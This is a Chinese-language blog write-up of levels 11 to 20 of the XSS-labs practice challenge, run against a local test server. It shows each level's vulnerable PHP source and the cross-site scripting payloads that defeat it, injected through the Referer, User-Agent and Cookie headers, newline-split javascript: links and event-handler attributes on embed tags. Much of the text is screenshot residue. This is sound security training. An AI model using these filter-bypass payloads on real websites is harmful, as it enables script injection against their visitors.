XSS-labs-master闯关11-20 writeup





Web安全 同时被 2 个专栏收录

21 篇文章 0 订阅

订阅专栏



5 篇文章 0 订阅 订阅专栏

XSS-labs-master闯关11-20 writeup

今天接着上次的XSS1-10,跟大家分享一下XSS-challenge的11-20关。喜欢的小伙伴记得点个赞哦!

xss-level11:

查看源码:

```
<h1 align=center>欢迎来到level11</h1>
¢<?php
 ini set("display errors", 0);
 $str = $ GET["keyword"];
 $str00 = $ GET["t sort"];
 $str11=$ SERVER['HTTP REFERER'];4
 $str22=str replace(">","",$str11);
 $str33=str_replace("<", "", $str22);</pre>
 echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
 <form id=search>
 <input name="t link" value="'.'" type="hidden">
 <input name="t_history" value="'.'" type="hidden">
 <input name="t sort" value="'.htmlspecialchars($str00).'" type="hidden">
 <input name="t ref" value="'.$str33.'" type="hidden">
 </form>
 </center>';
 ?>
 <center><img src=level11.png></center>
```

可以看出和上一关一样,隐藏了表单使得前端看不到。这一关的突破口在于 **\$_SERVER['HTTP_REFERER']** 这个代码可以获取http请求头中的referer,所谓referer就是指当前页面是从哪里来的。源码中可以看出,只过滤了尖括号,可以 使用javascript伪协议来绕过。 打开burp抓包:

												_	
	放包	.] [废包	拦截请求	行动							Con	nmen
	Raw	Params	Headers	Hex									
Ī	1 GET	/xss/le	vell1.ph	un?keyword	d=aood%20iob	НТТР/1.1							

2 Host: 127.0.0.1 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0

- 4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 5 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
 6 Accept-Encoding: gzip, deflate
 7 Referer: http://127.0.0.1/xss/level10.php?keyword=&t_sort=click%20here%22type=%22button%22%20onclick=%22javascript:alert(123)
 0 ave. deflate
- 8 DNT: 1
- 9 X-Forwarded-For: 127.0.0.1
- 10 Connection: close

11 Upgrade-Insecure-Requests: 1

12 Cache-Control: max-age=0

从referer中可以看出这个页面来自于上一关的url

这里在referer中插入payload: click here"type="button" onclick="javascript:alert(123)



xss-level12:

查看源码:

白 php</th
<pre>ini_set("display_errors", 0);</pre>
<pre>\$str = \$ GET["keyword"];</pre>
<pre>\$str00 = \$ GET["t_sort"];</pre>
<pre>\$str11=\$_SERVER['HTTP_USER_AGENT'];</pre>
<pre>\$str22=str_replace(">", "", \$str11);</pre>
<pre>\$str33=str_replace("<", "", \$str22);</pre>
echo " <h2 align="center">没有找到和".htmlspecialchars(\$str)."相关的结果.</h2> ".' <center></center>
<form id="search"></form>
<input name="t link" type="hidden" value="'.'"/>
<input name="t history" type="hidden" value="'.'"/>
<input name="t sort" type="hidden" value="'.htmlspecialchars(\$str00).'"/>
<input name="t ua" type="hidden" value="'.\$str33.'"/>
'; https://blog.ordp.pot/woivip_dd/27500
-?>

可以看出和上一关一样,隐藏了表单使得前端看不到。这一关的突破口在于 \$_SERVER['HTTP_USER_AGENT'] 因此我们按照和上一关同样的方法,使用burp抓包,修改user_agent

	放包		废包	拦截请	青求 行动				
	Raw	Params	Headers	Hex]				
F	1 GET /xss/level12.php?keyword=good%20job! HTTP/1.1								
L	2 Host: 127.0.0.1								
	3 Heer-Agent: Mozilla/5 0 (Windowe NT 10 0: WOW64: rv:52 0) Cecko/20100101 Firefox/52 0								

在user-agent中插入payload:

click here"type="button"onclick="javascript:alert(123)

	Raw Params	Headers	Hex	
1	1 GET /xss/l	evel12.ph	p?keyv	word=good%20job! HTTP/1.1
2	2 Host: 127.	0.0.1		
3	3 User-Agent	: click h	ere"ty	<pre>"pe="button"onclick="javascript:alert(123)</pre>
4	4 Accept: te	xt/html,a	pplica	tion/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
5	5 Accept-Lar	guage: zh	-CN,zł	1;q=0.8,en-US;q=0.5,en;q=0.3
6	6 Accept-End	oding: gz	ip, de	flate
7	7 Referer: h	ttp://127	.0.0.1	/xss/level11.php?keyword=good%20job!
8	8 DNT: 1			
9	9 X-Forwarde	d-For: 12	7.0.0.	1
10	0 Connection	: close		
11	1 Upgrade-In	secure-Re	quests	s: 1
12	2 Cache-Cont	rol: max-	age=O	
13	.3			
14	.4			https://blog.csdn.net/weixin_41487522

欢迎来到level12	
没有找到和good job!相关的	的结果.
完成的不错!	
确定取消	
	https://blog.csdn.net/weixin_41487522

xss-level13:

查看源码:

```
$str22=str replace(">", "", $str11);
    $str33=str_replace("<", "", $str22);</pre>
2
3
    echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center
4
    <form id=search>
5
    <input name="t link" value="'.'" type="hidden">
6
    <input name="t history" value="'.'" type="hidden">
7
    <input name="t sort" value="'.htmlspecialchars($str00).'" type="hidden">
З
    <input name="t cook" value="'.$str33.'" type="hidden">
9
    </form>
    </center>';
```

与上一关类似,这一关的突破口在于 <mark>\$_COOKIE["user"]</mark>,源码中可以看出,还是只过滤了尖括号,使用javascript伪协议来绕过。 使用burp抓包:

	Raw	Params	Headers	Hex	
	l GET	/xss/le	vel13.phj	p?keyv	word=good%20job! HTTP/1.1
	2 Host	: 127.0	.0.1		
	3 Usei	-Agent:	Mozilla	/5.0	(Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
	4 Acce	ept: tex	t/html,aj	pplica	<pre>ition/xhtml+xml,application/xml;q=0.9,*/*;q=0.8</pre>
	5 Acce	ept-Lang	uage: zh-	-CN,zł	1;q=0.8,en-US;q=0.5,en;q=0.3
	6 Acce	ept-Enco	ding: gz:	ip, de	flate
·	7 Refe	erer: ht	tp://127.	. 0. 0. 1	/xss/level12.php?keyword=good%20job!
	B Cool	cie: use	r=call+me	e+maył	ve%3F
	9 DNT:	1			× · · · · · · · · · · · · · · · · · · ·
1) X-Fo	rwarded	-For: 127	7.0.0.	1
1	l Conr	nection:	close		
1	2 Upgı	ade-Ins	ecure-Red	quests	s: 1
1	3 Cacł	ne-Contr	ol: max-a	age=0	https://blog.csdn.net/weixin_41487522
1	4				

可以看出http请求头中的cookie信息,这里我们把payload插入:

click here"type="button"onclick="javascript:alert(123)



放包

后,点击按钮





xss-level14:

由于这题是跳转到外链地址做题,但是网站上不去,所以我也没做。

欢迎来到level14

这关成功后不会自动跳转。成功者点我进level15.ttps://blog.csdn.net/weixin_41487522

XSS-

level15: 查看源码:

window.location.mel= level(0.pmp:keyword=cest);
}
-</script>
<title>欢迎来到level15</title>
-</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧! </h1>

=<?php
ini_set("display_errors", 0);
\$str = \$_GET["src"];
echo '<body></body>';

这一关引用了angular.min.js javascript框架,这里的ng-include,类似于文件包含的功能。源码中可以看到src被ng-include引用,我 们可以包含一文件试试。 包含一个这一关的页面level15.php

欢迎来到第15关,自己想个办法走出去吧!



欢迎来到第15关, 自己想个办法走出去吧!

可以看到出现了两个本关的界面。 这里在任意包含一关的界面,发现也成功显示出来了。

欢迎来到第15关,自己想个办法走出去吧!



欢迎来到level5

没有找到和相关的结果.

https://blog.csdn.net/weixin_41487522



点击构建的超链接,可以发现执行了js代码



欢迎来到level1

欢迎用户<u>click here!</u>

发现页面弹窗了



xss-level16:

查看源码:

15	E	⇒ php</th
L6		<pre>ini_set("display_errors", 0);</pre>
۲٦		<pre>\$str = strtolower(\$_GET["keyword"]);</pre>
L8		<pre>\$str2=str_replace("script"," ",\$str);</pre>
L 9		<pre>\$str3=str_replace(" "," ",\$str2);</pre>
20		<pre>\$str4=str_replace("/"," ",\$str3);</pre>
21		<pre>\$str5=str_replace(" "," ",\$str4);</pre>
20		



使用

strtolower()函数转换为小写,所以不能使用大小写绕过 同时把 "script"、"/"、"空格"转换为" " 这个实体编码,也不能使用双写绕过。 对于本关的过滤规则,我们可以使用%0a隔开script。

欢迎来到level16

sc ript	
10	
〒 く > 注 控制台 HTML ▼ CSS 脚本 DOM 网络 Cookies	根据文本或者 CSS
编辑 body < html	样式 ▼
DOCTYPE html>	继承自 htm
ıtml> ■ <head> ■ <body></body></head>	:root {
<h1 align="center">欢迎来到level16</h1> sc ript /center payload的长度:7 https://blog.csdn.net/web	ixin_41487522-

发现输入的内容输出在 <center> 这个标签内,不会被过滤,这个标签的作用是把里面的内容居中显示在网页。 这里我们构造标签,script和空格使用%0a代替,反斜杠没法绕过,所以不用反斜杠。

构造payload:

<a%0ahref="javasc%0aript:alert(123)">click here!

点击超链接时会执行我们的js代码,出现弹窗。

127.0.0.1/xss/level16.php?keyword= <a%0ahref< th=""><th>="javasc%0aript:alert(123)">click here!</th><th></th></a%0ahref<>	="javasc%0aript:alert(123)">click here!	
🗌 Post data 🗌 Referrer < 0xHEX 🚬	< %URL 🗩 < BASE64 🗩	Insert string to replace Insert repla
要您登录才能使用互联网。		
	欢迎来到level1	6
	完成的不错!	
	确定取消	

这里也可以发现,页面帮我们自动闭合了 <a> 标签

- Micau	
☐ <body></body>	
<h1 align="center">欢迎来到level16</h1>	
<pre><center></center></pre>	
<pre>click here!</pre>	
<pre><center></center></pre>	
(a) heaf-"issues vint (level (192)")	

xss-level17:

查看页面源码:

🤗 💦 🔇 🔪)三 控制台 HTML 🕶 🤇	CSS 脚本 DOM 网络 Cookies	₽ 根据文本或者(
队 编辑 embed < body < html		样式,
html		继承自计
<pre>(html)</pre>		:root +
<h1 align="center">欢迎来到level17 <embed <="" src="xsf01.swf?" td="" xss="123"/><td> heigth="100%" width="100%"></td><td></td></h1>	heigth="100%" width="100%">	
<pre></pre>		

可以看出使用了embed标签,embeb标签定义嵌入的内容,比如插件。本关的url中提交了两个参数arg01和arg02,修改参数看一下结果:

欢迎来到level17

WHO POSES THE GREATER NUCLEAR THREAT? X 控制台 HTML -CSS 脚本 DOM 网络 Cookies 编辑 embed < body < html <!DOCTYPE html> <html> Image: Image Sody> <hl align="center">欢迎来到level17</hl>
<embed src="xsf01.swf?xss=123" heigth="100%" width="100%"> Image: Image </body> $\langle html \rangle$

G	Lo <u>a</u> d URL	http://127.0.0).1/xss/level	17.php?arg	01= xss&ar	g02=123			
2	<u>S</u> plit URL								
\bigcirc	E <u>x</u> ecute	l							
				ог. О м		%			Incort string
-			L Refer			- MORE		BASE04	insert string
							+ 700		-
						次迎え	木到り	everr	
							1	NHO POSE	3
							TH	IE GREATER	Ĩ
								NUCLEAF	3
								THREAT	?
	$\mathbf{\nabla}$			CCC HI-+-	DOM 5	M49 Cookies			
		一		しいの時代	DOIN	Wigh Cookies			
\Leftrightarrow	编辑er	nbed < body	< html						
	DOCTYPE html>	•							
- 1	Head>								
	Sody>	1″ . ″\ 7	byntrada a	17 / 11					
	<pre><hl <="" a="" pre=""></hl></pre>	lign= center >X src=″xsf01.swi	f?‴ xss=″12	3″ heigth=″	100% widt	n=‴100%″>			
		lign=″center″>		,					
<	 /html>								
这样	的话,我们可	「以给他添加一 ~	个属性,同时	寸插入js语句	,用来触发	弹窗。			
G	Lo <u>a</u> d URL	http://127.0.0.	1/xss/level1	7.php?arg0	1= onclick8	karg02=javascrip	t:alert(123)		
Q	Split URI			11 3		5 5 1			
00	Evocuto								
9	Execute								
		Post data	Referre	er < OxH	IEX 🗩	< %URL 🚬		BASE64 🗩	Insert string to
									-
						欢迎到	到限	evel17	,
						欢迎来	E到16	evel17	,
						欢迎来	を到し	evel17	,
						欢迎来	天到I €	evel17	,
						欢迎我	₹到I€ ™	evel17 /HO POSES E GREATER NUCLEAR	
						欢迎来	€到 € ™	Evel17 /HO POSES E GREATER NUCLEAR THREAT?	
						欢迎羽	₹到I€ ™	PVEI17 HO POSES E GREATER NUCLEAR THREAT?	
						欢迎来	₹Ð]le ™	evel17 HO POSES E GREATER NUCLEAR THREAT?	
<u>**</u>		▶ 控制台	HTML -	CSS 脚本	DOM M	欢迎习 ^络 Cookies	₹到 € ™	PVEI17 HO POSES E GREATER NUCLEAR THREAT?	
<i>#</i>	<mark>♀ く 〉</mark> 编辑 em	▶ 控制台 abed < body <	HTML ▼ html	CSS 脚本	DOM M	欢迎习 ^缩 Cookies	₹Э](€	evel17 /HO POSES E GREATER NUCLEAR THREAT?	



payload:http://127.0.0.1/xss/level17.php?arg01= onfocus&arg02=javascript:alert(123)

L -	http://127.0.0	.1/xss/level17.	php?arg01= onfocu	s&arg02=javascript	alert(123:)			
	Post data	Referrer	CxHEX S	< %URL 🗩		BASE64 🗩	Insert	string to replace	Insert replacing st
				▶ 完成的不错!					
					确定	取消			
								os://blog.csdn.net	/weixin_41487522

xss-level18:



利用html的特性会自动给等于号后面的参

数添加双引号,在arg01的等于号后添加个空格,再看源码,结构发生了改变。



欢迎来到level18

	□ 查看器	□ 控制台	□ 调试器	{}样式编辑器	ⓒ 性能	心 内存	₁	网络
+					○ 搜索	HTML	Ň	
D0<br <br <htm > <h< td=""><td>CTYPE html> STATUS OK> l> ev ead> odv></td><td></td><td></td><th></th><td></td><td></td><th></th><td></td></h<></htm 	CTYPE html> STATUS OK> l> ev ead> odv>							
	<pre>chi align="cent <embed src="xsf body> ml></pre></td><td>er"/>欢迎来到leve <u>02.swf?</u>" xss="12</pre>	118 23" heigth="100%	" width="100%">	hitos:/	/blog.csdp.pet/we	ixin 414	87522	
这样的 payloa	〕话,我们可以给 ad: <mark>http://127</mark> .	他添加一个属性, 0.0.1/xss/level:	同时插入js语句, 18.php?arg01= on	用来触发弹窗。 foucs&arg02=java	script:alert(12	3)		
J 🖀 自腹 > = 🌢 JRL ht JRL te	モート、你就知道 📄 CTF3 SQL BASICS・ UNION I tp://127.0.0.1/xss/level18	よ政戦场 🥌 XSS半台 🕌 f BASED- ERROR/DOUBLE .php?arg01= onfocus&arg	高思安全 🥌 常用工具 QUERY- TOOLS- WAF B J02=javascript:alert(123)	YPASS- ENCODING- HTN	IL ENCRYPTION OTH	ER• XSS• LFI•		
	Post data 🗌 Referrer	CXHEX S	K %URL 🗩 < BA	SE64 🔊 Insert string	to replace Insert replace	ng string 🔽 Replace All		
				ξ 	完成的不错! 确定 取消			
	Ē 控制台 HTML ▼ C	SS 脚本 DOM 网络	Cookies			1	日相定本或者	CSS 选择器
embe	d < body < html							
>								
hl align embed sr	= [‴] center ["] >欢迎来到level18 c= [‴] xsf02.swf? [‴] onfocus= [‴] j	 javascript:alert(123)″ heig	gth="100%" width="100%">					
y>								

https://blog.csdn.net/weixin_41487522



欢迎来到level19

is with sifr.js Use movie of

is with sifr.js

https://blog.csdn.net/weixin_41487522

进入这一关我们可以在url中看到同时是get了两个参数,并且拼接到src里面。



在新标签页中打开,这

url怎么有点眼熟,像是我们之前一直做的php传进参数。 难不成swf文件也能传入参数?带着这个疑问我去百度了下,还真的可以。

不仅可以用flashvars ="name=12&age=23"

还可以在指定swf地址时传参数src="test.swf?name=12&age=23"

给他传一个version



incompatible with sifr.js (1). Use movie of 1. Movie (436) is incompatible with sifr.js (1). Use movie of 1. Movie (436) is incompatible with sifr.js (1). Use movie of 1.

https://blog.csdn.net/weixin_41487522





欢迎来到level19

Movie (436) is incompatible with sifr.js (1). Use movie of 1. Movie (436) is incompatible with sifr.js (1). Use movie of 1.

https://blog.csdn.net/weixin_41487522

那既然有回显信息,我们可以构造一个标签看能不能插进去 payload: http://127.0.0.1/xss/level19.php?arg01=version&arg02=click here

欢迎来到level19

Movie (436) is incompatible with sifr.js (click here). Use movie of click here. Movie (436) is incompatible with sifr.js (click here). Use movie of click here. Movie (436) is incompatible with sifr.js (click here). Use 点击后可以触发弹窗:

가 에 파 주네		10
从世末到	leve	19

Movie (436) is incompatible with sifr.js (click here). Use movie of <u>click here</u>. 完成的不错! 确定 取消

https://blog.csdn.net/weixin_41487522

xss-level20:

这一关进入以后一片空白没什么思路 网上找了相关资料和方法 手动添加 onmouseover=alert(1) 事件

完成的不错!	212	20
确定 取消		
□ 查看器 □ 控制台 □ 调试器 1 网络 {}样式编辑器 ① 性能 ① 内存 日存	储 肯 无障	碍环境
Q.搜索 HTML + 🗡	♥ 过滤样式	▶ 布局
html	:hov .cls -	▼ 弾性盒
STATUS OK <html> 漆动</html>	元素 🗘 {	选择一个
<pre><head> ··· </head></pre>	}	5345
▼ <body></body>		▼ 网格
<h1 align="center">欢迎来到level20</h1>		此页面
<pre><embed heigth="100%" onmouseover="alert(1)" src="xsf04.swf?a=b" width="100%"/> event</pre>		A 1#70
		▼ 盒模型
https://blog.csdr	net/weixin_4	

成功触发弹窗。

这方法适用于18-20 level embed标签,利用mebed标签的鼠标事件onmouseover,来添加触发弹窗。